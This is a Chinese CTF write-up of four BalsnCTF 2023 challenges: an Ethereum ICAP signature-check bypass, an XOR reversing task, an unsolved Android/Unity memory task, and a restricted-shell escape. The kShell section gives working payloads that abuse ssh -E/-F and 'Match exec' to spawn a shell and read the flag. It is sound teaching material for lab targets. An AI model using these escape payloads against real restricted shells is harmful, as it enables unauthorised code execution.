BalsnCTF 2023 Write Up

Link
隊伍名稱: `tmp`
最終名次: 53(我記得應該是)

Web3

Background

- ethereumbook 第五章 密要、地址

> 互換客戶端地址協議（ICAP）是一種部分與國際銀行帳號（IBAN）編碼兼容的以太坊地址編碼，為以太坊地址提供多功能，校驗和互操作編碼。ICAP地址可以編碼以太坊地址或通過以太坊名稱註冊表註冊的常用名稱。
>
> 閱讀以太坊Wiki上的ICAP：https://github.com/ethereum/wiki/wiki/ICAP:-Inter-exchange-Client-Address-Protocol
>
> IBAN是識別銀行帳號的國際標準，主要用於電匯。它在歐洲單一歐元支付區（SEPA）及其以後被廣泛採用。IBAN是一項集中和嚴格監管的服務。ICAP是以太坊地址的分散但兼容的實現。
>
> 一個IBAN由含國家程式碼，校驗和和銀行帳戶識別碼（特定國家）的34個字母數字字符（不區分大小寫）組成。
>
> ICAP使用相同的結構，通過引入代表“Ethereum”的非標準國家程式碼“XE”，後面跟著兩個字符的校驗和以及3個可能的帳戶識別碼變體

- ethers.js 工具包 - getaddress

```
let address = "0xd115bffabbdd893a6f7cea402e7338643ced44a6";
let icapAddress = "XE93OF8SROOWI6F4FO88KWO4UNNGG1FEBHI";

console.log(utils.getAddress(address));
// "0xD115BFFAbbdd893A6f7ceA402e7338643Ced44a6"

console.log(utils.getAddress(icapAddress));
// "0xD115BFFAbbdd893A6f7ceA402e7338643Ced44a6"

console.log(utils.getAddress(address, true));
// "XE93OF8SROOWI6F4FO88KWO4UNNGG1FEBHI"

console.log(utils.getAddress(icapAddress, true));
// "XE93OF8SROOWI6F4FO88KWO4UNNGG1FEBHI"
```

- Wallet Signer工具包
- ethers.js 工具包 - verifyMessage

```
let signature =
"0xddd0a7290af9526056b4e35a077b9a11b513aa0028ec6c9880948544508f3c63265e9
9e47ad31bb2cab9646c504576b3abc6939a1710afc08cbf3034d73214b81c";

let signingAddress = Wallet.verifyMessage('hello world', signature);

console.log(signingAddress);
// "0x14791697260E4c9A71f18484C9f997B308e59325"
```

Source code

:::spoiler server.js

```
const express = require("express");
const ethers = require("ethers");
const path = require("path");

const app = express();

app.use(express.urlencoded());
app.use(express.json());

app.get("/", function(_req, res) {
  res.sendFile(path.join(__dirname + "/server.js"));
});

function isValidData(data) {
  if (/^0x[0-9a-fA-F]+$/.test(data)) {
    return true;
  }
  return false;
}

app.post("/exploit", async function(req, res) {
  try {
    const message = req.body.message;
    const signature = req.body.signature;
    if (!isValidData(signature) || isValidData(message)) {
      res.send("wrong data");
      return;
    }

    const signerAddr = ethers.utils.verifyMessage(message, signature);
    if (signerAddr === ethers.utils.getAddress(message)) {
      const FLAG = process.env.FLAG || "get flag but something wrong, please
contact admin";
      res.send(FLAG);
      return;
    }
  } catch (e) {
    console.error(e);
    res.send("error");
    return;
  }
```

```
  res.send("wrong");
  return;
});

const port = process.env.PORT || 3000;
app.listen(port);
console.log(`Server listening on port ${port}`);
```

:::

Recon

這一題是賽後解，因為太難了所以沒解出來，不過還是非常有趣的題目

1. Recon
   仔細觀察soure code會發現，先用post到/exploit的route，然後帶message和signature的data，兩者都會受到檢查，也就是要符合signature=0xabcd...，而message就是一般的字元，所以看到#30~#31就會知道，這一題難的地方在於要想辦法找到一個message，他簽名後的錢包地址要和message本身一模一樣才會過條件拿到flag，也就是message也要是一個地址才行，但卻不能是0x開頭

2. 根據[1]和[2]的範例就會知道乙太錢包的地址有支援ICAP格式，簡單來說就是另外一種表示方式，一般錢包地址的表示都是採用hex的形式表示，但ICAP是以XE字節開頭表示地址，如下範例所示：

   ```
   const ethers = require("ethers")
   const wallet = ethers.Wallet.createRandom()
   console.log(ethers.utils.getAddress(wallet.address))
   console.log(ethers.utils.getIcapAddress(wallet.address))

   # 0x7165ac4B3cb187CC37278919254db9e0867F1f26
   # XE68D8UVUZEGBBSCAHT3O1HW4VN63MD31GM
   ```

3. 所以我們可以想如果直接拿地址的變形，也就是ICAP的地址當作我們的message，則簽名後得到的signAddress也一樣會是原本的錢包地址，而丟到getAddress的message因為本身就是地址，所以return的字串也會是一般以hex表示的錢包地址

原本的想法(一點都不重要)

直接暴力搜message簽完名後和message一樣
:::spoiler 爛扣

```
const ethers = require("ethers");


const  generateRandomString = (num) => {
    let result1= Math.random().toString(36).substring(2,) +
Math.random().toString(36).substring(2,) +
Math.random().toString(36).substring(2,) +
Math.random().toString(36).substring(2,);
    console.log(result1.substring(0, num));
    return result1.substring(0, num);
}
```

```
async function signAndVerify() {
    let privateKey =
"0x31415926535897932384626433832795028841971693993751058209749445 92";
    let wallet = new ethers.Wallet(privateKey);

    try{
        while(true){
            message = generateRandomString(40);
            const signature = await wallet.signMessage(message);
            console.log(signature);
            console.log(ethers.utils.verifyMessage(message, signature));
            console.log('0x' + message);
            if (ethers.utils.verifyMessage(message, signature) === '0x' +
message){
                console.log("Got it\nThe mssage is: ", message);
                break;
            }

            console.log("Nothing Yet");
        }
    } catch (error){
        console.log("Errror");
    }
}

signAndVerify();
```

:::

Exploit

```
const ethers = require("ethers")

const wallet = ethers.Wallet.createRandom()
console.log(ethers.utils.getAddress(wallet.address))
const icapAddress = ethers.utils.getIcapAddress(wallet.address)
console.log(icapAddress)

const message = icapAddress
const signature = wallet.signMessage(message)
console.log(message, signature)
```

```
$ node exp.js
0x7165ac4B3cb187CC37278919254db9e0867F1f26
XE68D8UVUZEGBBSCAHT3O1HW4VN63MD31GM
XE68D8UVUZEGBBSCAHT3O1HW4VN63MD31GM Promise {

 '0xf624460a7d73a36edbaf09435856181081e64b82ad0098b70600f55a5d0b24344757ac17f7451
df142279abeea25af3dae8d128af5ff48ce5226ac7fc2f591aa1b' }
$ node server.js    # 自己開service
$ curl -X POST localhost:3000/exploit --data
'message=XE68D8UVUZEGBBSCAHT3O1HW4VN63MD31GM&signature=0xf624460a7d73a36edbaf0943
5856181081e64b82ad0098b70600f55a5d0b24344757ac17f7451df142279abeea25af3dae8d128af
5ff48ce5226ac7fc2f591aa1b'
get flag but something wrong, please contact admin%
```

因為是賽後解，所以就自己開service，但最後的結果確定可以拿到flag

Flag: `BALSN{Inter_Exchange_Client_Address_Protocol}`

Reference

lucky

Source code

:::spoiler IDA Main Function

```
__int64 main_fn()
{
  __int64 idx; // r15
  int v1; // ebp
  __int64 v2; // rbx
  unsigned __int64 v3; // r14
  int v4; // r9d
  int v5; // r9d
  char v6; // al
  __int64 v7; // rdx
  unsigned int v9; // [rsp+Ch] [rbp-9Ch] BYREF
  char v10[32]; // [rsp+10h] [rbp-98h] BYREF
  __int128 user_input[2]; // [rsp+30h] [rbp-78h] BYREF
  __int64 v12; // [rsp+50h] [rbp-58h]
  char v13; // [rsp+58h] [rbp-50h]
  unsigned __int64 v14; // [rsp+68h] [rbp-40h]

  idx = 10000000000000000LL;
  v1 = 0;
  v14 = __readfsqword(0x28u);
  v2 = sub_40C2B0("/dev/urandom", &unk_498004);
  do
  {
    sub_40C3B0(&v9, 4uLL, 1LL, v2);
    v3 = v9 % 100000000uLL;
    sub_40C3B0(&v9, 4uLL, 1LL, v2);
    v1 -= (v3 * v3 + v9 % 100000000uLL * (v9 % 100000000uLL) >
9999999999999999LL) - 1;
```

```
    --idx;
  }
  while ( idx );
  sub_44A050(v10, 1u, 30LL, "%lu", 4 * v1 - 0x4F430000, v4);
  v13 = 0;
  v6 = 0x73;
  v12 = 0LL;
  memset(user_input, 0, sizeof(user_input));
  while ( 1 )
  {
    v7 = idx & 0xF;
    *(user_input + idx++) = v10[v7] ^ v6;
    if ( idx == 40 )
      break;
    v6 = byte_498040[idx];
  }
  if ( LOBYTE(user_input[0]) == 'B' && *(user_input + 1) == 'NSLA' &&
BYTE5(user_input[0]) == '{' && HIBYTE(v12) == '}' )
    sub_44A130(1, "Lucky! flag is %s\n", user_input, byte_498040, user_input,
v5);
  else
    (sub_40C4B0)("Not so lucky ...", 1LL, v7, byte_498040, user_input);
  if ( v14 != __readfsqword(0x28u) )
    (sub_44A220)();
  return 0LL;
}
```

:::

Recon

這是水題，基本上先用ida逆一下，就會看到上面的main function，不過用動態去看很醜，而且要等很久，估計應該是為了拖時間，反正最關鍵的部分在#36~#43這個while loop，還好這一題沒有把關鍵的code藏在tls這種奇怪的地方，或是像[crectf - ez rev]那樣用shell code噁心人，每次看到這種一大堆sub_function心裡都會倒抽一口氣，還好這次出題的人有良心(?)，反正仔細看一下#44驗證的部分就會知道前面6個bytes是`BALSN{`，所以代表它只是針對ciphertext做XOR的操作，也就是和v10這個變數，但是v10是從前面來的，也就是要先跳過那超級長的loop才能得知v10存了啥東西，原本到這邊就卡住了，一直用想說可不可以用動態直接dump解密完的結果，但我發現compiler應該有做一些scramble之類的操作讓動態很難看，反正過程就是一整個超卡，後來經過學長提示才想到可以用推的算回去，太久沒有寫reverse題就是這樣，基操的忘記了，反正可以先看一下XOR後的結果和原本的CT做比較，會發現output是`141592`的字串，看上去很眼熟應該就是圓周率，又觀察#38，它是取index mod 16後的結果，所以只需要取π的前16個字元，再往後面繼續操作就可以了

```
ct = [0x73, 0x75, 0x7D, 0x66, 0x77, 0x49, 0x5A, 0x60, 0x50, 0x7E, 0x67, 0x08,
0x44, 0x66, 0x40, 0x02, 0x5E, 0x7B, 0x01, 0x7A, 0x66, 0x03, 0x5B, 0x65, 0x03,
0x47, 0x0F, 0x0D, 0x59, 0x4D, 0x6C, 0x5B, 0x7F, 0x6B, 0x52, 0x02, 0x7F, 0x13,
0x15, 0x48, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1,
0x6F, 0xF2, 0x86, 0x23, 0x00, 0x00, 0xE1, 0xF5, 0x05, 0x00, 0x00, 0x00, 0x00]


pt = [0x42, 0x41, 0x4c, 0x53, 0x4E, 0x7B]

for i in range(len(pt)):
    print(chr(pt[i] ^ ct[i]), end="")

# $ python exp.py
# 141592
```

Exploit

```
ct = [0x73, 0x75, 0x7D, 0x66, 0x77, 0x49, 0x5A, 0x60, 0x50, 0x7E, 0x67, 0x08,
0x44, 0x66, 0x40, 0x02, 0x5E, 0x7B, 0x01, 0x7A, 0x66, 0x03, 0x5B, 0x65, 0x03,
0x47, 0x0F, 0x0D, 0x59, 0x4D, 0x6C, 0x5B, 0x7F, 0x6B, 0x52, 0x02, 0x7F, 0x13,
0x15, 0x48, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1,
0x6F, 0xF2, 0x86, 0x23, 0x00, 0x00, 0xE1, 0xF5, 0x05, 0x00, 0x00, 0x00, 0x00]


key = "1415926535897932"
pt = ""

for i in range(40):
    pt += chr(ct[i] ^ ord(key[i % 16]))

print(pt)
```

Flag: `BALSN{lUcK_1s_sOoOOo_1mPOr74nt_iN_c7F!#}`

Reference

BalsnCTF Reverse - lucky WP - maple

merger2077

Background

SDK 和 NDK 差別
Android：清晰講解JNI 與 NDK(含實例教學)
Android Studio - dumpsys
adb shell dumpsys meminfo詳解

Source code

merger2077 - source code

Recon

這一題沒解出來，但賽後有跟asef聊一下看怎麼解，他說這一題難度是中上，算是要對android debugging和unity很熟才會比較有想法，一開始我看到題目敘述提到flag藏在memory中，所以直覺是想說可以直接用adb把memory dump出來，然後再來分析一下整體的資訊，但貌似adb只能dump一些系統性的資訊，例如目前process的使用情況之類的，我還有嘗試把smali decompiler回java(jadx真的很香)，但source code也沒啥東西，嘗試很久也只能放棄
:::spoiler 嘗試過的過程以及一些好想有用的資訊

```
$ adb -s emulator-5554 shell ps | findstr balsn
USER           PID  PPID        VSZ    RSS WCHAN              ADDR S NAME
u0_a182       6725   354   36079108 205032 0                      0 S
com.DefaultCompany.balsnctf2023
$ adb -s emulator-5554 shell
emu64xa:/ $ su
emu64xa:/ # cat /proc/6725/maps | grep balsn
...
764366600000-764366984000 rw-p 00000000 fe:27 106552
/storage/emulated/0/Android/data/com.DefaultCompany.balsnctf2023/files/il2cpp/Met
adata/ばかみたい
...
emu64xa:/ # exit
emu64xa:/ $ exit
$ adb -s emulator-5554 pull
/storage/emulated/0/Android/data/com.DefaultCompany.balsnctf2023/files/il2cpp/Met
adata/ .\
```

看起來ばかみたい就是一個很可疑的東西，搞不好其實沒啥用處
:::

根據asef的說法，在設計unity遊戲的時候，通常會把一些資訊(metadata)放在記憶體中，不是特有的exploit，是主要的設計機制就是這樣，而且通常還沒加密，因為有一些遊戲的global variable會需要access，理所當然的我們可以直接去記憶體中撈這一些東西leak一些資訊，更多的說明可以看[3]

asef:

> 可以查il2cpp或是global-metadata.dat這幾個東西，也可以去讀讀il2cpp的source code應該頗有幫助

Reference

kShell

Background

- [小抄] Docker 基本命令
- 如果想要reproduce該題目的話，可以直接下(記得先打開docker desktop):

```
$ docker run --rm -it $(docker build -q .) /bin/sh
```

`docker build -q .` 是指利用當前目錄的Dockerfile建一個instance，而Dockerfile是based on alpine這個Image，詳細可以看一下這一篇文章[4]，然後針對alpine linux作一些檔案搬運和權限控管，最後會運行`/start.sh`這個檔案，BTW，-q參數的意義是會把當前已經build好的instance的ID print出來，剛好可以丟給docker run當作instance id用。
當我們build完之後就要run他，並且可以跟我們進行shell的互動(-it)參數的意義，然後開/bin/sh給我們用
:::danger
不可以使用/bin/bash，因為alpine只有支援sh這個shell，否則會出現一些error，詳細可以看這一篇[5]
:::

成功後的結果如下，接著只要運行`/kshell.py`就可以像比賽中直接開一個kshell instance一樣了

```
$ docker run -it --rm $(docker build -q .) /bin/sh
/home/kShell # ls
/home/kShell # python3 /kShell.py
Welcome to
 _    ___  _           _  _
| |__/ __|| |_   ___ | || |
| / /\__ \| ' \ / -_)| || |
|_\_\|___/|_||_|\___||_||_|

kshell~$
```

- 為甚麼不直接執行`kShell-wrapper.py`?
  一開始的確是想要直接運行`kShell-wrapper.py`想說可以更模擬比賽的環境與狀況，不過中間遇到太多error導致一直都不順利，我想應該還是跟我的主機環境有關係，所以我就直接用docker開instance，就不要用wrapper開，反正效果差不了多少
- Linux Manual Page

  > `-E`: 後面應該要帶一個log file，它會把stderr送到這個log file，而非印出來
  > `-F`: 後面應該要帶一個config file，讓ssh可以吃

- Linux 裡的文件描述符 0，1，2， 2 > &1 究竟是什麼或是[學習筆記] Linux Command 「2>&1」輕鬆談都講得非常清楚

Source code

kShell - Source Code

Recon

這一題也是賽後解，當初看到是shell escape的題目是有想到VimJail或是PicoCTF2023 Special的思路，但是完全沒有進展，無奈之下只能放棄，但放棄之前也有一些資訊:

- 他只開放幾個command可以使用，包含

```
kshell~$ help
Available commands:
  help
  exit
  id
  ping
  traceroute
  ssh
  arp
  netstat
  pwd
```

- 當有error出現的時候會有`Meow! An error occurred!`的字樣出現，一開始會以為有甚麼樣的作用，但結果完全沒用，顆顆
- 基本上這一題也是看itiscaleb才知道怎麼解[6]

Exploit

兩種解法都很相似，但我只知道大概，都是利用ssh -F接一個config file，然後用Match exec達到RCE，但Match exec是啥鬼啊，找了很多資料都沒有這東西應該說exec會去執行後面帶的command然後跳出目前的shell，啊Match呢?????
:::info
23/10/16更新:
Match是ssh config裡面的一個語法，底下也已經有更完整的想法
:::

- 解法一

```
/home/kShell # python3 /kShell.py
Welcome to
 _    ___  _          _  _
| |__/ __|| |_   ___ | || |
| / /\__ \| ' \ / -_)| || |
|_\_\|___/|_||_|\___||_||_|

kshell~$ ssh -E 'Match exec "sh 0<&2 1>&2" #aaa' x
kshell~$ ssh -F 'Match exec "sh 0<&2 1>&2" #aaa' -E aaa x
kshell~$ ssh -F aaa x
/home/kShell # /readflag
BALSN{hOw_d1d_u_g3t_RCE_on_my_kSSHell??}

# Special thanks to Orange's oShell challenge!
```

提供以上解法的是DC裡面的一個`@lebronli`大大

1. 它的意思是先利用`ssh -E`創造一個log file，名稱叫做`Match exec "sh 0<&2 1>&2" #aaa`，而後面的`x`就當作一般連線的host name，但反正一定是錯的

```
$ ssh -E 'Match exec "sh 0<&2 1>&2" #aaa' x
$ ll
-rwxrwxrwx 1 sbk6401 sbk6401       62 Oct 16 00:01 'Match exec "sh 0<&2
1>&2" #aaa'
$ cat Match\ exec\ \"sh\ 0\<\&2\ 1\>\&2\"\ \#aaa
ssh: Could not resolve hostname x: Name or service not known
```

2. 再利用這個log file當作config file丟給`ssh -F`，當然它會噴錯，因為裡面根本不是一般的config info

```
$ ssh -F 'Match exec "sh 0<&2 1>&2" #aaa' -E aaa x
$ cat aaa
Match exec "sh 0<&2 1>&2" #aaa: line 1: Bad configuration option: ssh:
Match exec "sh 0<&2 1>&2" #aaa: terminating, 1 bad configuration options
```

此時可以看到檔案`aaa`的內容已經因為log append變成Match exec "sh 0<&2 1>&2"，而#字號後面就當作一般的comment

3. 此時我們已經構建好config file了，則我們可以把aaa當作conig丟給ssh -F，它就會去執行裡面的內容，而實際上真正讓我們escape是因為exec，它會執行後面的東西完了以後就跳出目前的shell，然後就可以執行/readflag

- 解法二

```
kshell~$ ssh localhost -F /proc/self/fd/1
Match exec "/readflag>&2"
BALSN{hOw_d1d_u_g3t_RCE_on_my_kSSHell??}

# Special thanks to Orange's oShell challenge!
```

這個解法更省力，誠如作者所說，如果config file是一個fd呢?它就會直接讓我們輸入東西當成它的configuration，所以只要下跟上面一樣的command就會跳出來，不過@itiscaleb是直接執行然後印出來，不知道這樣的操作為啥會成功，如果是我的話會直接用`Match exec "sh 0<&2 1>&2`跳出來再執行/readflag

Flag: `BALSN{hOw_d1d_u_g3t_RCE_on_my_kSSHell??}`

Reference

1. BalsnCTF 2023 - Web3 WP - maple ↩
2. ethers.js 工具包 - getaddress ↩
3. asef PPT ↩
4. Alpine Linux 挑戰最小 docker image OS ↩
5. Docker報錯OCI runtime exec failed: exec failed: unable to start container process: exec: "/bin/bash"解決 ↩
6. BalsnCTF 2023 kShell WP ↩